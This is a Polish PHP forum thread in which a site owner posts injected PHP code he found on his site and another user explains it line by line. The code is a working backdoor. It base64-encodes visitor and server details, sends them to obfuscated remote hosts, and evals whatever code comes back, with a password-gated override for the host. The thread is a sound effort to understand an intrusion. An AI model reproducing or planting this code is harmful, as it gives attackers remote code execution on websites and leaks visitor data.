Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Co robi dokładnie przedstawiony kod
Forum PHP.pl > Forum > PHP
lukasamd
Witam,
znalazłem na swojej stronie kod, którego nie dodawałem.
Część rozumiem, część nie, proszę więc o wytłumaczenie jak to działa:

  1. <?
  2. $a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
  3. $b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
  4. $c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
  5. $d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
  6. $e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
  7. $f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
  8. $g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
  9. $h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
  10. $i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
  11. $j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
  12. $z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
  13. $f=base64_decode("cnNzbmV3cy53cw==");
  14. if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="3b4f1d638859a441a5e3fb95f6279956") $f=$_REQUEST["id"];
  15. if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
  16. else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
  17. else{
  18.  $cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
  19.  curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
  20.  $o=curl_exec($cu);
  21.  curl_close($cu);
  22.  eval($o);
  23. };
  24. die();
  25. ?>
okitoki
wyłącza raportowanie błędów
error_reporting(0);

z czytuje nagłówki
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);

tworzy parametr dla GET-a
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);

// dekoduje base64, nie mam teraz dostępu do serwera PHP wiec nie będe sie zastanawiał co tam jest smile.gif, podejrzewam że jakaś ścieżka dostępu
$f=base64_decode("cnNzbmV3cy53cw==");

tu jeżeli skrypt ma podobną lokalizacje, jak jak w zapytaniu URL (adresie) i przeglądarkę ma konkretną ! to zmienna f = parametrowi id w URL
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="3b4f1d638859a441a5e3fb95f6279956") $f=$_REQUEST["id"];

jeżeli istnieje taki skrypt, nawet nie wiedziałem że tak można smile.gif to ma go załadować, bynajmniej tak mi się wydaje
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));

a tu już gdzieś wysyła wszystkie informacje z nagłówka exclamation.gif, na 2 sposoby, jak by jeden zawiódł smile.gif
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
else{
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);
};
die();

po co tak zamieszany ten kod?
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.